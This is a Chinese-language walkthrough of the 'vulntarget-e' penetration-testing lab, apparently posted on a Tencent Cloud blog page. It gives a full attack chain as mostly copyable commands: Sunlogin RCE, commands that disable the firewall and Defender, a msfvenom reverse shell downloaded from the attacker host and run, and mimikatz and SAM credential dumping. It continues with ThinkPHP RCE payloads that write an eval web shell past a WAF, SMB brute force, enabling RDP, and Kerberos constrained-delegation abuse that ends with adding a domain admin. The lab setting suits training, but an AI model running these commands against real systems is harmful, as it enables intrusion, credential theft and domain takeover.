前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulntarget-e

vulntarget-e

作者头像
MssnHarvey
发布2022-12-13 16:14:19
7880
发布2022-12-13 16:14:19
举报
文章被收录于专栏:Harvey

虚拟机网络配置:

拓扑图:

信息搜集

扫描存活主机和端口

这里外网win2016靶机有开防火墙,所以需要加个-d参数绕过防火墙进行端口扫描,但是这里扫的时候出了点问题,不过多试几次也能扫出来开放了5985端口(WinRM服务)和49773端口

后面发现这样来扫会更快

代码语言:javascript
复制
nmap -sC -sV -p- 192.168.150.137 -n -vv --min-rate=2000

其中49773端口不知道是开着什么服务

扫目录也没发现啥有用信息

接着利用指纹识别工具observer_ward扫一下发现是向日葵服务(第一次使用的话使用-u 参数从指纹库中更新指纹

漏洞利用

可以利用前段时间爆出来的向日葵远程rce漏洞,通过工具sunRce进行命令执行

查看防火墙状态发现是打开的,于是通过命令执行将其关闭

代码语言:javascript
复制
./sunRce -h 192.168.150.137 -p 49773 -c "netsh advfirewall show allprofile state" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "netsh advfirewall set allprofiles state off" -t rce

再执行命令tasklist /svc发现开着Defender,并命令执行将其关闭,但是它实时保护还是开着,上传的木马还是会被df杀掉

代码语言:javascript
复制
./sunRce -h 192.168.150.137 -p 49773 -c "tasklist /svc" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "set-MpPreference -DisableRealtimeMonitoring $true" -t rce

所以我们可以制作免杀马或者通过powershell的这条语句执行策略绕过

代码语言:javascript
复制
./sunRce -h 192.168.150.137 -p 49773 -c "powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\"" -t rce

msf生成木马并开启web服务

代码语言:javascript
复制
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.150.128 lport=4444 -f exe > test.exe
python -m http.server 80

下载文件并执行

代码语言:javascript
复制
./sunRce -h 192.168.150.137 -p 49773 -c "powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.150.128/test.exe','C:\Users\Administrator\test.exe')" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "cd C:\Users\Administrator;dir" -t rce
./sunRce -h 192.168.150.137 -p 49773 -c "start C:\Users\Administrator\test.exe" -t rce

msf成功上线

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.150.128
run

进入后信息收集一波

在桌面发现需要测试的地址.txt

然后这里猕猴桃抓密码还是没结果

根据上次的经验,我们将进程迁移到x64位上去

再执行一下即可获取到密码

普通用户的话可以抓下来本地用mimikatz读取

代码语言:javascript
复制
reg save hklm\sam sam.hive
reg save hklm\system system.hive

lsadump::sam /sam:sam.hive /system:system.hive

也可以通过cs生成木马来实现上线

信息收集

利用hashdump或者猕猴桃抓取密码

最后解码得到管理员和普通用户密码:administrator/win2008;ash/qweASD123

在桌面找到文件需要测试的地址.txt

portscan扫描发现192.168.100.131,存在22、80、3333、8888端口,可以知道用了宝塔

内网渗透

上传frp客户端建立代理

代码语言:javascript
复制
./frps -c ./frps.ini
代码语言:javascript
复制
frpc.exe -c ./frpc.ini &

通过msf查看浏览器的历史记录

代码语言:javascript
复制
run post/windows/gather/forensics/browser_history

用sqllite打开它,执行如下语句,可以发现几个有用的路径信息

代码语言:javascript
复制
select url from moz_places

但是访问都是报400

这时候回想起前面我们dump下来的需要测试的地址.txt,猜测应该要host碰撞

通过工具hostscan可以发现192.168.100.131对应的域名地址是www.cJO6w10YLS.com

然后修改一下host头可以发现是thinkphp 5.0

搜一下这个版本的漏洞看到有个5.X的rce

https://www.freebuf.com/articles/web/289860.html

尝试发现system会被宝塔拦截,不过eval没有被ban,可以用eval写马

代码语言:javascript
复制
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

phpinfo也会被拦,还可以通过file_put_contents写文件,但是当前的目录没有权限不可写,需要目录穿越到根目录下

通过三次url编码的加密成功写入

代码语言:javascript
复制
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?%3E

然后蚁剑连接时还需要编写一下蚁剑的编码规则以及host即可成功连接

代码语言:javascript
复制
'use strict';

  // ##########    请在下方编写你自己的代码   ###################
function forceEncode(s) {
  return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}

module.exports = (pwd, data, ext={}) => {
  const payload = data['_']
  data[pwd] = forceEncode(forceEncode(payload));
  delete data['_'];
  console.log(data);
  return data;
}

连上后发现命令都是不可执行的,说明存在disable_function

这里我们可以使用php7-gc-bypass绕过disable_function并执行系统命令

信息收集发现还有个192.168.88.100的网卡

在/home/vulntarget路径下发现了key文件,将其dump下来

前面扫端口的时候就发现开放了ssh,所以尝试使用key连接ssh,最终尝试使用root成功登录

关闭防火墙

代码语言:javascript
复制
# 关闭防火墙
ufw disable
# 查看防火墙状态
ufw status

上传fscan扫一下内网,发现主机192.168.88.102开放了135、445、1433端口,存在SQL server服务

通过工具hydra爆破smb得到账号密码:administrator/admin@123

代码语言:javascript
复制
hydra -L user.txt -P pass.txt 192.168.88.102 smb

通过工具wmiexec.py远程执行成功上线

信息搜集发现还有个10.0.10的网卡

发现存在域vulntarget.com

关闭防火墙

代码语言:javascript
复制
netsh advfirewall set allprofiles state off
netsh advfirewall show allprofile state

然后使用下面的命令打开3389端口

代码语言:javascript
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

成功进入远程桌面

约束性委派攻击

上传mimikatz、ADFindkekeo,探测win2008是否存在约束委派

mimikatz获取密码:win2008/qweASD123

代码语言:javascript
复制
# 提升权限
privilege::debug
# 抓取密码
sekurlsa::logonpasswords

查找约束性委派主机,可以发现第三台主机win2008对第四台主机10.10的CIFS服务存在约束委派

代码语言:javascript
复制
AdFind.exe -h 10.0.10.128 -u win2008 -up qweASD123  -b "DC=nami,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

然后用kekeo请求win2008的TGT

代码语言:javascript
复制
# 使用kekeo进行一个票据的请求
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
# 申请administrator权限的票据
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

利用mimikatz导入S4U2proxy阶段生成的ST

代码语言:javascript
复制
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi

dir访问域控

代码语言:javascript
复制
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$

然后net user添加一个域用户,并加入到域管理员中

代码语言:javascript
复制
net user admin123 admin@1234 /add /domain
net group "domain admins" admin123 /add /domain

最后使用wmiexec远程执行成功上线

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-12-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 信息搜集
  • 漏洞利用
  • 内网渗透
  • 约束性委派攻击
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档